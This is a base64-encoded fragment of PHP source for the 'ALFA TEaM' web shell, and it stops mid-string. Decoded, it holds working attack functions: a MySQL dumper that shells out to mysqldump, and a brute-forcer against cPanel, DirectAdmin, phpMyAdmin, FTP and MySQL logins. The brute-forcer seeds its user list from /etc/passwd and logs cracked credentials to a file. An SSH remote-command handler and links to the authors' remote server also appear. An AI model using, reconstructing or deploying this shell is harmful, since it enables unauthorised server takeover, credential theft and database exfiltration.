KDApIG9uY2xpY2s9ImcoXCdwbHVzXCcsbnVsbCxcJ2Fib3V0XCcpIj58IEFib3V0IFVzIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCmlmKCRfUE9TVFsnYWxmYTEnXT09J25ld3MnfHwkX1BPU1RbJ2FsZmExJ109PSd0b29scycpew0KdHJ5ew0KJHMxID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vJy4oJF9QT1NUWydhbGZhMSddPT0nbmV3cyc/J25ld3MucGhwJzondG9vbHMucGhwJyk7DQokbXNnID0gIjxjZW50ZXI+PGZvbnQgY29sb3I9J3JlZCc+PGI+PHA+Q2FuYHQgQ29ubmVjdCB0byBSZW1vdGUgU2VydmVyIC4uLiE8YnI+UGxlYXNlIFRyeSBBZ2FpbiBMYXRlci4uLiE8L3A+PC9iPjwvZm9udD48L2NlbnRlcj4iOw0KJG5ld3MgPSBuZXcgQWxmYUNVUkwoKTsNCmlmKCRuZXdzLT5TZW5kKCRzMSkpew0KJHhtbCA9ICRuZXdzLT5TZW5kKCRzMSk7DQp9ZWxzZXsNCiR4bWwgPSBmYWxzZTsNCn0NCmlmKCR4bWwpew0KaWYoQHNpbXBsZXhtbF9sb2FkX3N0cmluZygkeG1sKSl7DQokZG9jID0gbmV3IERPTURvY3VtZW50Ow0KJGRvYy0+bG9hZFhNTCgkeG1sKTsNCiRkYXRhID0gJGRvYy0+Z2V0RWxlbWVudHNCeVRhZ05hbWUoJ2RhdGEnKS0+aXRlbSgwKTsNCiRpdGVtcyA9ICRkYXRhLT5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaXRlbScpOw0KZm9yZWFjaCgkaXRlbXMgYXMgJGl0ZW0pew0KJHRpdGxlID0gJGl0ZW0tPmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpLT5pdGVtKDApLT5ub2RlVmFsdWU7DQokZGVzY3JpcHRpb24gPSAkaXRlbS0+Z2V0RWxlbWVudHNCeVRhZ05hbWUoJ2Rlc2NyaXB0aW9uJyktPml0ZW0oMCktPm5vZGVWYWx1ZTsNCiRsaW5rID0gJGl0ZW0tPmdldEVsZW1lbnRzQnlUYWdOYW1lKCdsaW5rJyktPml0ZW0oMCktPm5vZGVWYWx1ZTsNCiRwdWJEYXRlID0gJGl0ZW0tPmdldEVsZW1lbnRzQnlUYWdOYW1lKCdwdWJEYXRlJyktPml0ZW0oMCktPm5vZGVWYWx1ZTsNCmVjaG8oX19wcmUoKS4iPGNlbnRlcj48YSBocmVmPSckbGluaycgdGFyZ2V0PSdfYmxhbmsnPiR0aXRsZTwvYT48YnI+JGRlc2NyaXB0aW9uPGJyPjxzbWFsbD48Zm9udCAgY29sb3I9JyNGRkZGRkYnPjxiPkRhdGU6ICRwdWJEYXRlPC9iPjwvZm9udD48L3NtYWxsPjwvY2VudGVyPjwvcHJlPiIpOw0KfQ0KfWVsc2V7DQplY2hvKCRtc2cpOw0KfQ0KfWVsc2V7DQplY2hvKCRtc2cpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiAkZSl7DQplY2hvICRlLT5nZXRNZXNzYWdlKCk7DQp9fWVsc2VpZigkX1BPU1RbJ2FsZmExJ109PSdhYm91dCcpew0KZWNobyBfX3ByZSgpLiI8cHJlPjxjZW50ZXI+PGltZyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZhcnZhaGFyLWlyYW4ucG5nJz48YnI+DQo8Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGJyPjxiPg0KPGZvbnQgY29sb3I9JyMwMEEyMjAnPlNoZWxsIENvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlIChBTEZBIFRFYU0pPC9mb250Pjxicj4NCjxmb250IGNvbG9yPScjMDBBMjIwJz5Db250YWN0IDogc29sZXZpc2libGVAZ21haWwuY29tPC9mb250Pjxicj4NCjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbSBDaGFubmVsOiBAc29sZXZpc2libGU8L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9JyNGRkZGRkYnPlNreXBlIDogZWhzYW4uaW52aXNpYmxlPC9mb250Pjxicj4NCjxmb250IGNvbG9yPScjRkZGRkZGJz5Ta3lwZSA6IHNvbGUuc2FkPC9mb250Pjxicj4NCjxmb250IGNvbG9yPScjRkYwMDAwJz5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9JyNGRjAwMDAnPklyYW5pYW4gSGFja2VycyA6KTwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+T3VyIEZyaWVuZHMgOiBNci5QRVJTSUEgLCBSM3ZlQzBkZXI8L2ZvbnQ+PGJyPg0KPC9jZW50ZXI+PC9wcmU+PGlmcmFtZSBzcmM9J3RnOi8vcmVzb2x2ZT9kb21haW49c29sZXZpc2libGUnIGZyYW1lYm9yZGVyPScwJyB3aWR0aD0nMCcgaGVpZ2h0PScwJz48L2lmcmFtZT4iOw0KfQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhRHVtcGVyKCl7DQphbGZhaGVhZCgpOw0KZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTsNCkFsZmFOdW0oOCw5LDEwKTsNCmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15c3FsIERhdGFiYXNlIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwiZygnZHVtcGVyJyxudWxsLG51bGwsbnVsbCx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPjxwPiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0R1bXAgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nYWxmYS5zcWwnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsNCiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOw0KJHBhc3N3b3JkID0gKCRfUE9TVFsnYWxmYTQnXSk7DQokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7DQokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsNCiRob3N0ID0gKCRfUE9TVFsnYWxmYTcnXSk7DQppZighZW1wdHkoJGRibmFtZSkpew0KZWNobyBfX3ByZSgpOw0KJG1zZyA9ICI8Y2VudGVyPkNoZWNrIHRoaXMgOiAgPGZvbnQgY29sb3I9J3JlZCc+Ii4kZGZpbGUuIjwvZm9udD48L2NlbnRlcj4iOw0KaWYoQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRibmFtZSkpew0KaWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApew0KYWxmYUV4KCJteXNxbGR1bXAgLS1zaW5nbGUtdHJhbnNhY3Rpb24gLS1ob3N0PVwiJGhvc3RcIiAtLXVzZXI9XCIkdXNlcm5hbWVcIiAtLXBhc3N3b3JkPVwiJHBhc3N3b3JkXCIgJGRibmFtZSA+ICciLmFkZHNsYXNoZXMoJGRmaWxlKS4iJyIpOw0KZWNobygkbXNnKTsNCn1lbHNlew0KX19hbGVydCgiRXJyb3IuLi4hIik7DQp9DQp9ZWxzZXsNCmVjaG8oJzxjZW50ZXI+bXlzcWxpX2Nvbm5lY3QgOiBFcnJvciE8L2NlbnRlcj4nKTsNCn0NCn0NCmVjaG8oJzwvZGl2PicpOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gQWxmYV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKXsNCmlmKCEkaW5mb1snbXlzcWwnXSkNCiR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOw0KZWxzZSAkdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLicvcGhwbXlhZG1pbic7DQokY3VybCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwwKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICRpbmZvWyd1c2VybmFtZSddLic6Jy4kaW5mb1sncGFzc3dvcmQnXSk7DQppZigkaW5mb1snbXlzcWwnXSljdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsNCiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsNCiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7DQppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30NCmVsc2VpZihwcmVnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7DQplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsNCiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7DQpDcmFja2VyUmVzdWFsdCgkaW5mbyk7DQp9DQpjdXJsX2Nsb3NlKCRjdXJsKTsNCn0NCmZ1bmN0aW9uIEFsZmFfQ1BfQ3JhY2tlcigkaW5mbyl7DQokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddOw0KJGN1cmwgPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KCJBdXRob3JpemF0aW9uOiBCYXNpYyAiIC4gX19aVzVqYjJSbGNnKCRpbmZvWyd1c2VybmFtZSddLiI6Ii4kaW5mb1sncGFzc3dvcmQnXSkgLiAiXG5cciIpKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7DQokcmVzdWx0ID0gY3VybF9leGVjKCRjdXJsKTsNCiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7DQokY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpOw0KaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9DQplbHNlaWYocHJlZ19tYXRjaCgnL2ZpbGVtYW5hZ2VyL2knLCRyZXN1bHQpKXsNCmVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOw0KJGluZm9bJ3RhcmdldCddID0gJHVybDsNCkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsNCn0NCmN1cmxfY2xvc2UoJGN1cmwpOw0KfQ0KZnVuY3Rpb24gQWxmYV9GVFBfQ3JhY2tlcigkaW5mbyl7DQokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddOw0KJGN1cmwgPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUlBXRCwgIiIuJGluZm9bJ3VzZXJuYW1lJ10uIjoiLiRpbmZvWydwYXNzd29yZCddLiIiKTsNCiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsNCiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7DQppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30NCmVsc2VpZihwcmVnX21hdGNoKCcvKFxkKyk6KFxkKykvaScsJHJlc3VsdCkpew0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQokaW5mb1sndGFyZ2V0J10gPSAkdXJsOw0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KfQ0KY3VybF9jbG9zZSgkY3VybCk7DQp9DQpmdW5jdGlvbiBBbGZhX015c3FsX0NyYWNrZXIoJGluZm8pew0KaWYoQG15c3FsaV9jb25uZWN0KCRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXSwkaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSkpew0KQ3JhY2tlclJlc3VhbHQoJGluZm8pOw0KZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7DQp9DQp9DQpmdW5jdGlvbiBBbGZhX0ZUUEMoJGluZm8pew0KaWYoJGNvbj1AZnRwX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLCRpbmZvWydwb3J0J10pKXsNCmlmKCRjb24pew0KJGxvZ2luPUBmdHBfbG9naW4oJGNvbiwkaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSk7DQppZigkbG9naW4pe0NyYWNrZXJSZXN1YWx0KCRpbmZvKTt9fX0NCkBmdHBfY2xvc2UoJGNvbik7DQp9DQpmdW5jdGlvbiBDcmFja2VyUmVzdWFsdCgkaW5mbyl7DQokcmVzID0gJGluZm9bJ3RhcmdldCddLicgPT4gJy4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIlxuIiA7DQokYyA9IEBmb3BlbigkaW5mb1snZmNyYWNrJ10sJ2ErJyk7DQpAZndyaXRlKCRjLCAkcmVzKTsNCkBmY2xvc2UoJGMpOw0KfQ0KZnVuY3Rpb24gQWxmYV9DYWxsX0Z1bmN0aW9uX0NyYWNrZXIoJG1ldGhvZCwkaW5mbyl7DQpzd2l0Y2goJG1ldGhvZCl7Y2FzZSAnY3AnOnJldHVybiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2RpcmVjdCc6IGNhc2UgJ3BocG15YWRtaW4nOnJldHVybiBBbGZhX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ2Z0cCc6cmV0dXJuIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pO2JyZWFrO2Nhc2UgJ215c3FsJzpyZXR1cm4gQWxmYV9NeXNxbF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEFsZmFfRlRQQygkaW5mbyk7YnJlYWs7fQ0KfQ0KZnVuY3Rpb24gYWxmYUNyYWNrZXJzKCl7DQphbGZhaGVhZCgpOw0KQWxmYU51bSg5LDEwKTsNCmVjaG8gJzxkaXYgY2xhc3M9ImhlYWRlciI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQnJ1dGUgRm9yY2VyIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdDcmFja2Vyc1wnLG51bGwsdGhpcy50YXJnZXQudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMudXNlcm5hbWVzLnZhbHVlLHRoaXMucGFzc3dvcmRzLnZhbHVlLHRoaXMuZmNyYWNrLnZhbHVlLFwnc3RhcnRcJyx0aGlzLnByb3RvY29sLnZhbHVlLHRoaXMubG9naW5wYW5lbC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+TG9naW4gUGFnZTogPHNlbGVjdCBvbmNsaWNrPSJkaXNfaW5wdXQodGhpcy52YWx1ZSk7IiBuYW1lPSJsb2dpbnBhbmVsIj4nOw0KZm9yZWFjaChhcnJheSgnY3AnPT4nQ3BhbmVsJywnZGlyZWN0Jz0+J0RpcmVjdEFkbWluJywnZnRwJz0+J0ZUUCcsJ3BocG15YWRtaW4nPT4nUGhwTXlBZG1pbltEaXJlY3RBZG1pbl0nLCdteXNxbCc9PidteXNxbF9jb25uZWN0KCknLCdmdHBjJz0+J2Z0cF9jb25uZWN0KCknKSBhcyAka2V5PT4kdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOw0KZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7DQpmb3JlYWNoKGFycmF5KCdodHRwczovLycsJ2h0dHA6Ly8nLCdmdHA6Ly8nKSBhcyAkdmFsKWVjaG8oJzxvcHRpb24gdmFsdWU9IicuJHZhbC4nIj4nLiR2YWwuJzwvb3B0aW9uPicpOw0KZWNobyAnPC9zZWxlY3Q+IFdlYnNpdGUvaXAgQWRkcmVzczogPGlucHV0IGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9InRhcmdldCIgdmFsdWU9ImxvY2FsaG9zdCI+DQpQb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj4NCjx0YWJsZSB3aWR0aD0iMzAlIj48dGQgYWxpZ249ImNlbnRlciI+VXNlcnMgTGlzdDwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPlBhc3N3b3JkczwvdGQ+PC90YWJsZT4NCjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iVXNlcnMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0idXNlcm5hbWVzIj4nLigkR0xPQkFMU1snc3lzJ109PSd1bml4Jz9hbGZhRXgoImN1dCAtZDogLWYxIC9ldGMvcGFzc3dkIik6IiIpLic8L3RleHRhcmVhPg0KJm5ic3AgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJQYXNzd29yZHMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjxicj48YnI+DQpTYXZlIFJlc3VsdCBJbnRvIEZpbGUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZjcmFjayIgdmFsdWU9ImNyYWNrZWQudHh0Ij4NCjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNyYWNraW5nIiB2YWx1ZT0iICIgLz48L2Rpdj48L2Zvcm0+PC9wPjxjZW50ZXI+JzsNCiR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJyksJycsJF9QT1NUWydhbGZhMSddKTsNCiRwb3J0ID0gJF9QT1NUWydhbGZhMiddOw0KJHVzZXJuYW1lcz0gJF9QT1NUWydhbGZhMyddOw0KJHBhc3N3b3JkcyA9ICRfUE9TVFsnYWxmYTQnXTsNCiRmY3JhY2sgPSAkX1BPU1RbJ2FsZmE1J107DQokY3JhY2tpbmcgPSAkX1BPU1RbJ2FsZmE2J107DQokcHJvdG9jb2wgPSAkX1BPU1RbJ2FsZmE3J107DQokbG9naW5wYW5lbCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRwID0gJGxvZ2lucGFuZWwgPT0gJ3BocG15YWRtaW4nID8gJHAgPSB0cnVlIDogZmFsc2U7DQppZigkY3JhY2tpbmc9PSdzdGFydCcpew0KZWNobyBfX3ByZSgpOw0KJGV4dXNlciA9IGV4cGxvZGUoIlxuIiwkdXNlcm5hbWVzKTsNCiRleHB3ID0gZXhwbG9kZSgiXG4iLCRwYXNzd29yZHMpOw0KZm9yZWFjaCgkZXh1c2VyIGFzICR1c2VyKXsNCmZvcmVhY2goJGV4cHcgYXMgJHB3KXsNCiRhcnJheSA9IGFycmF5KCd1c2VybmFtZScgPT4gdHJpbSgkdXNlciksJ3Bhc3N3b3JkJyA9PiB0cmltKCRwdyksJ3BvcnQnID0+IHRyaW0oJHBvcnQpLCd0YXJnZXQnID0+IHRyaW0oJHRhcmdldCksJ3Byb3RvY29sJyA9PiB0cmltKCRwcm90b2NvbCksJ2ZjcmFjaycgPT4gdHJpbSgkZmNyYWNrKSwnbXlzcWwnID0+ICRwKTsNCkFsZmFfQ2FsbF9GdW5jdGlvbl9DcmFja2VyKCRsb2dpbnBhbmVsLCRhcnJheSk7DQp9DQp9DQplY2hvICc8YnI+PGZvbnQgY29sb3I9InJlZCI+QXR0YWNrIEZpbmlzaGVkLi4uPC9mb250Pic7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXNzaDIoKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc3NoMl9jb25uZWN0Jykpew0KJF9TRVNTSU9OWydjb25uZWN0ZWQnXT0gZmFsc2U7DQokc3NoX2lwID0gJF9QT1NUWydhbGZhMSddOw0KJHNzaF9sb2dpbiA9ICRfUE9TVFsnYWxmYTInXTsNCiRzc2hfcGFzcyA9ICRfUE9TVFsnYWxmYTMnXTsNCiRzc2hfcG9ydCA9ICRfUE9TVFsnYWxmYTQnXTsNCiRzc2hfY29tbWFuZCA9ICRfUE9TVFsnYWxmYTUnXTsNCmlmKCRhbGZhY29ubmVjdDJzc2g9QHNzaDJfY29ubmVjdCgkc3NoX2lwLCAkc3NoX3BvcnQpKQ0Kew0KaWYoJGFsZmFsb2dpbj1Ac3NoMl9hdXRoX3Bhc3N3b3JkKCRhbGZhY29ubmVjdDJzc2gsICRzc2hfbG9naW4sICRzc2hfcGFzcykpDQp7DQokX1NFU1NJT05bJ2Nvbm5lY3RlZCddPSB0cnVlOw0KfQ0KfQ0KaWYoJF9TRVNTSU9OWydjb25uZWN0ZWQnXSE9PSB0cnVlKXsNCmFsZmFoZWFkKCk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj4iOw0KZWNobyAiPGZvcm0gbmFtZT0nc3NoMicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZyhcInNzaDJcIixudWxsLHRoaXMuc3NoX2lwLnZhbHVlLHRoaXMuc3NoX2xvZ2luLnZhbHVlLHRoaXMuc3NoX3Bhc3MudmFsdWUsdGhpcy5zc2hfcG9ydC52YWx1ZSk7IHJldHVybiBmYWxzZTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQ+PGZvbnQgY29sb3I9XCIjZmZmZmZmXCI+PGI+SVA8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPlNTSCBVU0VSPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBjb2xvcj1cIiNmZmZmZmZcIj48Yj5TU0ggUEFTUzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgY29sb3I9XCIjZmZmZmZmXCI+PGI+U1NIIFBPUlQ8L2I+PC9mb250PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zc2hfaXAgdmFsdWU9Jyc+PC90ZD48dGQ+PGlucHV